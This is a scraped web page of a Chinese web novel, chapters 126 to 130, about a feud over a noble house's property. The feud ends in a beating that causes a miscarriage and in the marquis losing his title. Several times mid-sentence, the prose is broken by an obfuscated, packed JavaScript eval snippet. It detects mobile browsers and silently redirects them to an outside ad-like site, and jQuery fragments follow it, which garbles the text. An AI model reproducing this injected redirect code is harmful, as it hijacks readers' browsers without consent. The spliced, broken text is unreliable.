“二叔要分家?”游清柔听后瞬间坐不住了,冷着脸骂道,“这么多年了,我二叔和二婶在侯府连屁都不敢放,现在竟然想分家?这一定是夜家搞的鬼!” 不提夜家还好,提起夜家她心中的恨意就忍不住喷发。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136943|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说别的,单说她肚里怀的这个野种,就是被夜家三兄妹害的! 还有万福寺,夜时舒药晕她,把她和魏永淮弄到一张床!自己的这一生,可以说被夜家彻底地毁了! 现在夜家还跑去侯府挑唆她二叔二婶分家…… 简直欺人太甚! 她越想越气,冲江妈吩咐,“快给我梳妆!我要回侯府!” 江妈不放心地看着她肚子,“小姐,您这身子刚好些,还是不要……” 不等她说完,游清柔冷着脸打断,“这两日养得不错,没什么大碍。就算有什么,只要我回到侯府,母亲也会想办法。赶紧为我收拾,我绝对不允许夜家那群混账在侯府为所欲为!” 江妈又看了看她的气色,的确比前两日好多了。拗不过她的脾气,便只能顺着她做事。 …… 游清柔赶回侯府时,便见侯府大门旁堆满了家什物件。 虽然都是些陈旧的东西,可她还是肝火大发,上前对着一名搬东西的下人就是一个耳光。 “谁让你们拿侯府东西的?都给我放下!” 被打的下人捂着脸不服气地回她,“这都是二爷院里的东西,二爷和二夫人现在要搬出侯府,自然要把他们的东西带走!” 游清柔趾高气昂地骂道,“什么他们的东西,这些都是侯府的!他们要滚随便,但休想从侯府拿走一针一线!” 说完她给江妈下令,“江妈,你盯着他们,谁敢再碰一下东西,你就去报官,告他们**强盗侯府财物!” 然后她快速进了内院,直接冲去游建川和马氏住的小院。 有夜家的下人帮忙,游建彬和马氏也落得轻松,便陪着夜庚新一家四口在小厅里说话。 突然听见外面传来游清柔大吼大叫的声音,夫妻俩赶紧出门去看。 游清柔正阻止下人搬东西,见他们夫妻俩现身,指着他们就骂,“二叔、二婶,你们也太不要脸了吧!这些都是侯府的东西,你们凭什么带走?” 第126章 放火烧吧 游建彬不满地道,“什么侯府的东西?这院里的东西都是我们自己置办的,我们凭什么不能带走?” 游清柔嘲讽地笑了起来,“你们置办的?有证据吗?我只知道你们一家子住在我们侯府,全靠我们侯府养着,平日里没为侯府做一点事,现在要离开侯府了,却还想把我们侯府的东西占为己有!” 小厅里,夜庚新看了三个儿女一眼。 夜时舒赶紧给他使眼色。 夜庚新起身,走出去,指着游清柔训斥道,“清柔,你太放肆了!他们可是你的长辈,你怎能如此对他们说话?” 看到他出来,游清柔更是来了气势,骂道,“这是我游家的事,你一个外人插什么手?别以为你官大就了不起,这里是游家,不是你耍官威的地方!” “你怎如此目无尊长?” “尊长?”游清柔仿佛听到什么好笑的事,‘哈哈’大笑起来,“你摸着你良心问问,你配吗?你儿子和女儿把我害得有多惨,你问过吗?我们侯府有何事,你管过吗?这么多年来,你这个姑父没帮扶过我们侯府半分,如今却厚颜无耻地到侯府来指手画脚,还要让我尊你敬你,你不觉得可笑吗?” “你!你简直无理取闹!”夜庚新痛骂,“游家怎么出了你这样个东西!” “是!就你夜家是好东西!你们若是好的,今日不会来我们侯府挑唆二房分家,还妄图分走我们侯府的财物!”游清柔反唇骂道。 一直没开口的马氏忍不住解释,“柔儿,我们搬出侯府是你二叔的主意,跟你姑父无关,你怎能不分青红皂白指责你姑父?再说了,这些家什都是我和你二叔这些年自己攒银子置办的,没花侯府一个铜板……” 不等马氏说完,游清柔便高声纠正,“二婶,你怕是搞错了!你和二叔在今日之前都是侯府的人,你们赚的银子都该属于侯府。这些年,我母亲没让你们上交一个铜板,你们藏私久了,还真当是自己的东西了?” “你!”马氏被她气得直瞪眼。 正在这时,听闻女儿回府的游建彬和温氏赶了过来,忙拉着女儿询问,“柔儿,你怎么回来了?” 游清柔指着院中堆放的桌椅床榻,理直气壮地道,“父亲、母亲,这都是侯府的东西,你们怎由他们搬弄?我知道二叔和二婶要离开侯府,可他们的一切都该是侯府的,他们要走只能光溜溜的走!” 游建川和温氏对视了一眼,虽然看不起游建川一家四口的破烂货,但女儿说的也不是没道理。 都是侯府的东西,凭什么便宜二房? 眼神交流过后,游建彬直指屋檐下的游建川,“柔儿说的没错,你们要走便走,但侯府的东西,你们一件也别想带走!” 温氏接着说道,“没错!这些年你们一家子住在侯府里,我没让你们贴补一个子儿,如今该是算一算账了!你们要走,得把这些年赚的银子全交给侯府!” 游建川和温氏气得直喘粗气。 这对哥嫂有多无情他们是知道的,可他们还是低估了这对哥嫂的无耻! 就连夜庚新都让这一家三口气到瞠目结舌。 真是闻所未闻! 这世上竟有如此厚颜无耻的人! 如果游建彬和温氏夫妇只是针对他夜家,他无话可说,可现在他们针对的是手足亲兄弟,试问,他们是如何做到这般狠辣无情的? 夜时舒和夜时竣瞧着他们这边落了下风,兄妹俩也不好再看戏了。 夜时竣走出小厅,对游建川说道,“二舅舅,你听到他们说的了?你现在还没走出侯府,还是侯府的人。不光你人是侯府的,这些东西都是侯府的。如果你不喜欢这些东西,嫌它们碍眼,不如你放把火把它们都烧了吧!” 游建川一脸黑线地看着这个外甥,“……” “夜时竣,你个不干人事的东西,你要再乱说话,信不信我让你好看!”温氏被刺激得直接破口大骂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136944|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大舅母,你哪里没干人事了?这些家什又破又旧,我二舅舅嫌弃,要放火烧掉,这没问题啊?怎么,你是觉得只烧这些不过瘾,还想让二舅舅他们把别的东西也烧了?”夜时竣抖着腿一脸坏笑地反问她。 “你个畜生!”温氏怒不可遏地骂道。 “够了!”夜庚新铁青着脸低吼,眼神锋利地瞪着温氏,“你身为舅母,为老不尊,还敢辱骂我儿,是当我**吗?” 温氏指着大门,咬牙切齿地道,“这是侯府,不是你夜家,你们都给我滚出去!若你们再滋事,我立马报官,看你们还要不要脸!” 夜时舒冷笑,“那你赶紧报官吧!我们是来看二舅舅和二舅母的,顺便帮二舅舅和二舅母搬个家,你大可以让官府来评评理,看看究竟是谁在滋事**?” 游建彬赶紧拉着拉温氏,不停地给她使眼色。 这个蠢妇,赶人就行了,扯报官做什么? 侯府现在什么情况不知道吗?要是真把官府叫来,这家宅事一时半会儿能解决好? 温氏得到他的暗示后瞬间也冷静了下来。 是啊,怎么能报官呢? 当下应该把夜家的人全赶出去,然后才能拿那个女人换银子! 如果人都在侯府赖着,她那十万两银子何时才能到手? 看了一眼院中陈旧的家具,她随即做出一副大发慈悲的模样,对游建川和马氏说道,“看在亲兄弟的份上,我们也不为难你们。只要你们出去后,别说你们是侯府的人,更别打着侯府的名声谋好处,那你们便带着这些破烂东西离开吧!” 闻言,游建彬和马氏还没回应,游清柔便先跺起了脚,嚷道,“母亲不可!我侯府便宜谁都不能便宜了他们!今日他们想离开侯府,必须把所有东西都留下!” 她算是看明白了! 她二叔和二婶这是勾搭上了夜家! 他们越是如此,她便越不能让他们畅快离开! 第127章 肚子好痛 “柔儿,让他们走!”温氏沉着脸给女儿使眼色。 “走什么走?就算要走,也要他们脱光了再走!当我们侯府是什么地方,慈善堂吗?像他们这种吃里扒外的人,就该一丝不挂地去要饭!”游清柔看着屋檐下的一排人,憎恨得眼神如同蘸了毒汁,恨不得把他们全毒死! 夜时舒和夜时竣交换了一下眼神,唇角都不禁暗暗勾勒。 兄弟们走下屋檐。 夜时舒微抬着下巴,冷冷地看着游建彬和温氏,“本王妃敬你们是长辈,一再忍让,不与你们计较。但你们仗着本王妃亲娘舅的身份不断挑衅本王妃的耐心,一再地辱骂本王妃,你们真当本王妃不敢拿你们怎样吗?” 游建彬和温氏猛地一震,眼神不约而同露出一丝慌张。 平日里跋扈惯了,他们是真忘了眼前女子的身份,她早已不是原来那个温顺客气的外甥女了,而是当朝承王正妃! 见夜时舒拿身份欺压自己父母,恨气冲头的游清柔非但没收敛,还更是目中无人地指着夜时舒叫嚣起来,“你是承王妃又如何?难道你还敢杀了自己的亲舅舅不成?你这么能耐,你下令杀他们试试!” “王妃会不会杀你们本王不得而知,但你们如此以下犯上,你猜本王敢不敢杀你们?” 突然,从院外传来一道砭人肌骨的嗓音。 游建彬和温氏回头望去,脸色瞬间如同上了白漆。 游清柔也跟着回头,原本周身笼罩的戾气如同受到了寒潮的袭击,瞬间被击灭得荡然无存。 夜庚新领头迈下台阶迎了上去,郑重行礼,“参见承王殿下!” 游建川、马氏、夜时珽、夜时竣也都纷纷上前行礼。 尉迟凌眸光不由自主地投向台阶下的女人。 夜时舒忍着笑上前,佯装惊讶问道,“王爷,您怎么来了?” 尉迟凌伸手将她的手握住,不轻不重地捏了捏她手心,面上冷视着游建彬一家三口,嗓音又冷又硬,“本王不来,还不知竟然有人敢如此藐视亲王妃!某些人顶着候位,便当自己是天子了么?” 游建彬、温氏一听他这话,仿若魂儿刚回体,哆嗦着立马朝他跪下,齐声呼道,“参见承王殿下!” “来人!”尉迟凌扬声喝道。 文岩带着一批侍卫从院外冲了进来,不等尉迟凌下令便将游建彬、温氏、游清柔团团围住,拔剑架在他们脖子上。 游清柔见状,也不得不跪下。 此刻的他们别说嚣张了,就连抬头看人的勇气都没有了。 尉迟凌牵着夜时舒的手走到游建彬面前,冷硬地说道,“游建彬,你承袭裕丰侯之位以来,治家不严,纵容家眷目无尊卑、藐视皇权、以下犯上,你可知罪?” 游建彬平日里本就是个欺软怕硬的,眼下面对他这位亲王,哪里还敢造次半分?特别是听到尉迟凌厉数他的罪状,惶恐的他开始不停磕头,“王爷恕罪!下官知错,下官再也不敢对王妃不敬了!” 温氏也紧跟着磕头,哀求地呼道,“王爷恕罪!我们只是对王妃严厉了些,不是有意要冒犯她,还请王爷看在王妃是我们外甥女的份上饶恕我们这一次!” 她不说话还好,说出的这些话直接让尉迟凌发出了冷笑,“呵!只是对王妃严厉了些?本王的王妃,本王都舍不得说半句重话,没想到你们不但无视她亲王妃的身份,还动则辱骂、恐吓、欺压!怎么,以为娘舅的身份就是免死金牌?” 夜时舒的手被他握着,从他收紧的力道明显感觉到此刻的他是真的动了怒。她忍不住抬眸望着他侧脸,那句‘本王都舍不得说半句重话’仿如有股魔力般直直穿透她的心窝,让她心跳节奏抑制不住地乱了。 还记得刚与他接触那会儿,其实他对她跟对别人没有两样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136945|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都是一样的冷面以对。 她都不知道从何时起,他开始关注她的喜好、在意她的喜怒、还喜欢黏着她。她现在才发现,他早都不再对他冷脸了,甚至床笫之间还会温声细语耐心哄她…… 然而,眼下明显不是她感动的时刻,耳旁冷硬的嗓音很快将她拉回了现状。 “文岩,准备笔墨!本王今日就在这里当面拟奏**老侯爷长子游建彬,不修德行、嚣张肆意、目无君臣,不配承袭侯位!老侯爷在世时舍己为公、忠君爱民,其候位改次子游建川承袭!”尉迟凌说完,微微低下头,薄唇嚼着冷傲的笑意,“游建彬,你猜猜,皇上会恩准吗?” 在场的人,不单单是游建彬和温氏,就连游建川和马氏都瞠目结舌地望着他。 不同的是,游建彬和温氏满眼畏惧和恐愕,游建川和马氏则是一脸惊懵。 承王有没有这个能耐让候位换人他们不知道,但能说出这种话的人,就绝对有十足的把握! 游清柔反应最为强烈,难以接受的她激动地从地上蹦起,怒瞪着尉迟凌道,“承王,你说我们目中无人,你眼中就有人吗?我爹是我祖父亲自挑选的候位继承人,那是我祖父临终前的遗愿,凭什么你说换人就换人?” 尉迟凌冷眼斜睨向她。 然而,不等他开口,游清柔突然‘啊’的一声惊叫,同时左膝盖不受控制地落在地上,发出‘咚’的声响。 无人看到的地方,一粒石子从她膝盖窝的位置弹出去,悄无声息地躺在离她几步远的地方。 也不知道是她这一声惊叫太大声了,还是她这单膝一跪太剧烈了,她突然捂着肚子朝地上倒去,满脸成痛苦状。 “母亲……痛……我肚子好痛……” “柔儿!”温氏脸色惨白地扑到她身上,紧张不安地看着她肚子,嘴里急声呼道,“快叫大夫!快叫大夫!” 第128章 怀的野种 “来人,有请华神医!”文岩高声宣道,同时朝不远处的某二舅爷投去一眼笑意。 某二舅爷回他一笑,背在身后的拇指和食指指腹正搓着石上的余尘。 看着顾思沫出现,温氏除了脸色难看外,还忍不住激动呵斥她,“别碰我女儿!” 文岩佯装不解地问她,“侯夫人,你不是叫大夫吗?这位华神医医术超绝,你确定不让华神医帮你女儿瞧瞧?” “我女儿的事用不着你们操心!”温氏怒喝。 “可是你女儿这样,会让人误会是我们欺负了她。大家都看着的,我们可是没碰她丝毫,她自己倒地不说,还一副要死不活的样子,不把她的情况查明清楚,万一我家王爷和王妃被人误会了,那你们就有污蔑之嫌。” “我们自己会请**夫!”温氏说完朝游建彬看去,见他还在为尉迟凌要**他而慌愣无措,忍不住怒吼,“你还发什么愣,没看到柔儿难受吗?” 游建彬涣散的瞳孔总算有了焦距,看着一脸恶相的妻子和一脸痛苦的女儿,他忽地从地上起身,紧接着冲向母女二人,对着温氏怀中的女儿就狠狠踹了起来—— “都是你这个丧门星,要不是你回来**,我们会得罪承王妃吗?” “你个赔钱的贱蹄子,都嫁出去还跑回来指手画脚,非得把老子害死你才甘心吗?” “既然你不想老子好过,那你今日也别想活着离开!你这个害人的孽障,老子今天就亲自收了你!” 那一脚接一脚的力道落在游清柔肚子上,痛得她失声惨叫。 温氏想护女儿,奈何此刻的游建彬就像中了邪一样,不但骂声无情,下脚也无比狠辣,连带着她也被踹了好几脚,痛得不得不把女儿放开。 “老爷……老爷……” “老什么爷?老子都要去讨饭了,你还跟这孽障一样不醒事!”游建彬一双眼瞪着通红吓人,接着把所有愤恨全转向温氏,不但用脚踹她,还对她挥起了双拳,“老子现在才发现,你就是个克夫的伥鬼!这么多年,你和你生的两个孽障把我侯府败得一无所有,我早该把你们打死的!” 温氏平日里是出了名的泼辣和凶悍,可面对仿若邪物附身的游建彬,她再泼辣和凶悍,此时都毫无还手之力,在游建彬的拳脚下只能发出杀猪般的叫声。 “啊……啊……啊……” 就在温氏被打得快要晕死过去时,游清柔大腿根部的白裙上突然被红色浸染。 夜时舒眯了眯眼,随即惊吓般叫道,“不好了,清柔表姐身下流血了!大舅舅快住手啊,清柔表姐要被你打**!” 游建彬瞬间僵住,然后朝女儿看去。 游清柔卷缩着身子,在地上颤抖抽搐,也不知是不是被打惨了,人奄奄一息的,张着嘴发不出声来,一张脸扭曲着,双眼狰狞地瞪着施暴的父亲,仿佛要把这个父亲恨进骨血里。 温氏看着女儿身下的血水,原本抱头惨叫的她一下子如似水般瘫在地上,眼中充满了绝望。 而在场人中,最惊诧的还数游建川一家三口。 女子下身流血…… 但凡有点常识的都应该懂,这可不是一般的伤…… “文岩!”尉迟凌冷声下令,“派人去魏府,将侯府的情况如实告知,并让他们来时带上大夫。” 很明显,他就是故意的。 既然温氏不让华神医碰游清柔,那他们冷眼旁观就好。 反正游清柔怀孕的丑闻是魏、游两家的事,而她之所以小产也是被他亲爹给打的…… …… 半个时辰后,魏广征、葛氏、魏永淮一家三口赶来侯府。 因为温氏不让人碰游清柔,他们赶来的时候游清柔还躺在原地,但人已经晕死过去了。 大夫给游清柔把脉过后,向魏家三口如实禀报了游清柔的情况,“魏老爷、魏夫人、魏公子,魏少夫人腹中的孩子已经没了。” 魏永淮听后,黑沉着脸指着游建彬和温氏怒问,“她腹中孩子是谁的?” 葛氏扯了扯他衣袖,小声问道,“淮儿,会不会是在万福寺那次……” 魏永淮低吼着回她,“万福寺那次我们都昏迷着,只是没穿衣物躺在一起,什么都没做!” 听儿子这么一说,葛氏也瞬间恼了,指着温氏破口大骂,“没想到你女儿如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136946|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此不知廉耻,怀了别人的野种不说,竟还带着别人的野种嫁给我家淮儿,你们一家真是无耻!” 温氏被骂得抬不起头,再加上被游建彬打得厉害,也没力气再与人争执,于是干脆闭着眼装死。 至于游建彬,直接别开脸不看魏家三口。 夜时舒对葛氏说道,“魏夫人,为了洗清嫌疑,我们所有人都没离开半步。我清柔表姐腹中的孩子是裕丰侯打掉的,我们原本想施救,但侯夫人拒绝华神医触碰,不得已才派人把你们叫来。眼下所有人都在此,你们有何不明白的大可发问,可别在事后编排我们是非,说我们见死不救。” 葛氏脸色阴冷难看。 但碍于尉迟凌在场,她不敢撒气,还必须装出感激的模样对他们说道,“多谢承王殿下和王妃通知我们,若不是你们,我们竟不知游氏女婚前便与人暗结珠胎。” 随后她朝游建彬和温氏看去,咬牙切齿地道,“你们这不知廉耻的女儿,我魏家是不会再要的!今日我们魏家便下休书,从此与你们游家再无半点瓜葛!” 游建彬和温氏能说什么? 一个仍旧装死。 一个仍旧装聋。 至于躺在地上半身是血的游清柔,除了大夫查看过她的情况,没一个人愿意多看她一眼。 而比起所有人的冷漠,夜时舒紧捏着拳头,除了解气以外,没人知道她心中那股无法向人倾诉的报复感…… 从小到大,她没少被游清柔霸凌。 霸凌她不说,游清柔还收买她的贴身丫鬟冬巧。 游、魏两家买**她。 万福寺算计她清白。 紫琼山庄算计她二哥清白。 这一桩桩一件件的事,哪件不龌龊?哪件不狠毒? 如今看着游清柔的惨样,看着魏家和游家因为游清柔而**,天知道她有多激动…… 但这还不够! 她冷眼扫视着魏家三口和游家三口。 这才只是开始,她要的是这两家人全都生不如死! 魏永淮突然看向她。 这一看,那视线便如蘸了酱一般胶住在她精致绝美的脸上。 “舒儿……” 第129章 剥去侯位 这一声‘舒儿’是从他心底深处情不自禁溢出来的。 曾经的她满心满眼都是他这个淮哥哥,不论得了什么东西,总会第一时间与他分享。那时的她安静、乖巧、温顺,明明自小习武的她,却总能让人对她生出几分保护欲。 只是,自骆丽娴出现后,他一颗心便转移到了骆丽娴身上。 骆丽娴大方、热情、善解人意,会在失意时鼓励他勇敢进取,不像夜时舒,总是把自己的父兄挂在嘴上,让他觉得自己再怎么努力都比不上战功赫赫的夜家父子。 从那时起,他便渐渐地对她冷淡了。 这两个月以来,他所经历的失去是这辈子都无法承受的痛。 而他真正悔恨的,是失去她——夜时舒! 他这一声极致深情的低唤,瞬间吸引了所有人的目光,可唯独有两个人充耳不闻。 “王爷,我站得有些累,能不能先让我去马车上休息休息?” 看着她眼底浅浅的青色,尉迟凌知道她不是装累,为了寻找九姑她可是一夜未眠,能撑到现在那都是她自小习武身体底子好,换个人早都累晕了! 众目睽睽下他弯下腰将她打横抱起,临走时还不忘扫了一眼游建彬,并对文岩说道,“把笔墨折子送到马车上!本王今日要在侯府等着圣旨降下!” “是!”文岩领命。 游建彬如同被人敲中天灵盖,狠狠地震了一下,然后望着他离去的背影,绝望得一下子瘫坐在地—— 眼见游清柔晕死在地无人搭理,最终还是马氏心软了几分,招呼下人把游清柔送回她出嫁前的闺房,并请魏家带来的大夫给游清柔再看看。 对游清柔这个刚娶进门的妻子,魏永淮真是一眼都没多看,目光注视着尉迟凌离去方向,整个人双肩垮塌着,仿佛魂儿被人抽了去。 自从做过那个梦以后,他再想起现实中的种种,每每都痛心得无以复加。如果他没有遇见骆丽娴,一心一意地对待夜时舒,如今他们应该遵从父母之命完婚了,抱她的那个男人只会是自己…… 葛氏可是被游清柔怀野种的事气惨了,尉迟凌一走,她立马张罗丫鬟拿笔墨,然后让魏广征当众替儿子写下休书。 她把休书狠狠甩在温氏脸上,厌恨地骂道,“别说我们魏家无情,你女儿做出这种事,是个人都无法接受!这些年亏得我把你当亲姊妹,你却是如此地回报我们,从今以后你好自为之,别再想跟我们魏家攀半分交情!” 她敢如此与温氏撕破脸,虽说有些冲动,但也不全是。 听说华平易容的女子已经被承王识破了,太子的计划失败,那他们魏家也没有必要再笼络温氏。 先前来的路上,又听说承王公然要**游建彬,一旦**成功,那游建彬和温氏便成了上不了台面的庶人。 而他们魏家呢,现在骆丽娴与她儿子重修于好,虽说还是见不得光,但骆丽娴不但是太子的良娣,还是北蔺国遗失的五公主,他们魏家再怎么差劲儿也一定会胜过从前。 试问,她还有什么理由再跟温氏交好? 对于他们两家**,夜庚新父子就是旁观看戏,眼下戏看得差不多了,夜庚新便对游建川和马氏说道,“你们现在也别急着搬出去了,等承王向皇上递了奏折再说吧。” 换做旁人,要承袭侯位了,只怕脸都能笑开花。可游建川和马氏确实一脸忐忑,甚至有些不知所措。 夜时珽明白他们的心情,体贴地安慰他们,“二舅舅、二舅母,毋庸担心,承王殿下的决定也是我们一直想做的。这侯府是外祖父一辈子的心血,如今被大舅舅和大舅母败落成空壳,想必你们也是心痛的。侯府交到你们手上,我们相信你们一定能护住侯府最后的声誉。” 一提到过世的父亲,游建川和马氏忐忑的神色立马变得坚定了起来。 夫妻俩再看瘫在地上的游建彬和温氏时,都不再掩饰对他们的恨意了。 “爹,我去躺茅厕。”夜时竣冷不丁打了声招呼,然后对顾思沫挤了挤眉。 顾思沫低垂着眉眼跟着他离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136947|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了。 “……”夜庚新一脸黑线地目送他们离去。 知道他们感情好,但人前怎么也该收敛些,毕竟他们夜家‘二儿媳’才下葬不足一月,说难听点尸骨都未寒呢! …… 侯府大门外。 马车上,尉迟凌直接从怀中取出一本奏折递给文岩。 文岩笑着接过。 待文岩离去,尉迟凌便把夜时舒捞到腿上,低声问她,“需要回府睡吗?” 夜时舒靠着他肩,说道,“没找到九姑,回去也睡不着。既然已经决定要对游建彬和温氏下手,那就解决完了再休息。”顿了一下,她又补充道,“我总有个预感,九姑在这侯府中。不管怎样,就算父皇拒绝更换侯位承袭人,我也要把侯府翻一遍!” 尉迟凌低头在她脸颊上轻轻蹭着。 “那为夫抱着你睡会儿。” “嗯。”夜时舒主动亲了亲他的俊脸。 尉迟凌收紧臂弯,俊脸埋进她鹅颈中,吮了好几下,“不许撩火。” 夜时舒缩着脖子,红着脸道,“谁撩火了?明明就是你想!” “嗯。” 听着他脸不红心不跳的应答声,夜时舒都不敢再出声了,赶紧闭上眼装作睡觉。 尉迟凌勾着唇角,为她调整睡姿,好让她能在自己怀里睡得更舒适。 也不知道过了多久,夜时舒被一阵马蹄声惊醒。 尉迟凌伸手揭起马车帘子,就见一宦官从马背上跳下。看到马车内的他们,宦官忙上前行礼,“参见承王殿下、参见承王妃。皇上已经看过承王殿下的奏折,特命奴才前来宣旨。” “嗯。”尉迟凌点了点头。 宦官随即转身进了侯府大门。 …… 在游建彬和温氏住的小院里,除了魏家三口外,府中所有下人都到齐了。 圣旨宣下后,气氛肃穆,鸦雀无声。 特别是游建彬,完全就是天塌地陷般,绝望又狼狈。 一个时辰…… 承王就用了一个时辰,便让皇上剥去了他的侯位…… 第130章 气死温氏 魏广征和葛氏望着宦官手上的圣旨,心下也不由得发寒。他们没急着离开,就是听说承王要**游建彬,想留下来看看热闹。 没想到承王竟有如此大的能耐,当真把游建彬**成功了! “二舅舅,赶紧接旨啊!”夜时舒见游建川还愣着,忍不住出声催促。 游建川回过神,颤抖地伸手接过圣旨,“谢皇上恩典!吾皇万岁万岁万万岁!” 宦官对他微微一笑,“恭喜侯爷。” 游建川激动地朝他谢道,“有劳公公了!” 宦官又说了几句恭贺的话后便离开了侯府。 游建川拿着圣旨看向游建彬,说没有扬眉吐气的快意那是假的。裕丰侯府这十几年来在这对兄嫂的把持下是如何一步步没落的,他比谁都清楚。 如今兄长被剥去侯位,是兄嫂德性有亏,活该至此! 见魏家三口还在看热闹,他上前对魏广征作了一揖,说道,“魏大人,今日府中杂乱,不便待客,还请魏大人、魏夫人及公子离去。” 魏家三口什么也没说,沉默地离开了。 待他们一走,夜时竣便上前,一脸讨好地笑,“二舅舅,这府里乱七八糟的,得赶紧整理整理。我瞧着这些下人都好像不怎么服您,要不这样吧,我让人来帮着整理,等里里外外整顿妥当了,你再用自己的人做事。” 游建川先前就听他们说过,温氏在侯府里藏了人。而且他夫人和女儿都能作证,昨夜看到温氏与一蒙面男子在一起,且那蒙面男武功极高。 他要掌管侯府,自然要把这种人清理出去,不可能让游建彬和温氏这对无良兄嫂再败坏侯府名声。 “那就有劳时竣了。待府里整顿完,二舅舅请你喝酒。” “好勒!” 舅甥俩正笑说着,一直瘫在地上装死的温氏突然从地上爬起来,指着他们舅甥吼道,“侯府是我们的,我看谁敢动侯府半分!” 夜时竣偏头朝她看去,笑道,“大舅母,刚刚宣旨的时候你是不是晕死没醒,所以没听到?”他随即指了指游建川手中的圣旨,“要我们念一遍给你听吗?如今的裕丰侯是我二舅舅,大舅舅已经贬为庶民了。现在这侯府自然是我二舅舅当家,你和大舅舅还是好好想想下半辈子该如何度日吧。毕竟按照侯府的规矩,不当家的那一房可是要自力更生的。” “你!”温氏被气得完全没了形象,狰狞着面孔朝他扑过去,嘶吼着要打他,“你这个不要脸的东西,敢到我侯府来指手画脚,今日我非打死你不可!” 夜时竣先是没动,等到温氏快要抓到他时,猛地往游建川身后一跳。 “啊!”温氏抓了个空不说,还狠狠地扑倒在地,脸部直接撞在青石铺的地上。 “哎呦,大舅母,你没摔死吧?”夜时竣假装惊吓,“你可不能死啊,你要**,作为晚辈我还得给你哭丧!我先说好哦,如果我哭不出来,你可不能怨我!” “夜时竣!”温氏抬起头咬牙嘶吼,“你们一家都会不得好死的!我就算做鬼都不会放过你们!” 此时的她额头破了皮,鼻头红肿,加上扭曲狰狞的神色,人还没**,就已经比厉鬼还吓人了。 夜时竣不满地嗔道,“大舅母,你说的什么话?我为你生后事着想,那是因为我孝顺。毕竟人嘛,总有一死的,难不成你还想长命百岁?真那样你不成千年老妖婆了?” “你……你……你……噗!”温氏‘你’了半天没‘你’出一句完整的话,却突然喷出一口血气。 夜时竣走到她脑袋前,蹲下身,收起了所有的玩世不恭,目光凌厉地看着她,“温氏,你最好祈祷这两日你什么都没做,否则我会让你知道什么叫生不如死!” 温氏瞪大的眼球不自然的一滞。 夜时竣冷笑着起身,同时脚尖发狠地踹向她的头—— “给小爷**吧!真是聒噪!” 温氏都没反应过来,在他那一脚的力道下身体不受控制地翻了一圈,然后两眼一抹黑便不再动弹了。 “夫人!”游建彬之前是殴打过温氏,可看着她被夜时竣施暴,激动地冲到温氏身旁,然后指着夜时竣吼骂道,“你这个畜生,竟敢打你舅母!” 夜时竣抱臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136948|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖着腿,居高临下的睥睨着他,“你最好祈祷我们在府里搜不出任何,不然别说打她,即便是你这个亲舅舅,我也敢削了你!” 他早就看他们一家子不顺眼了! 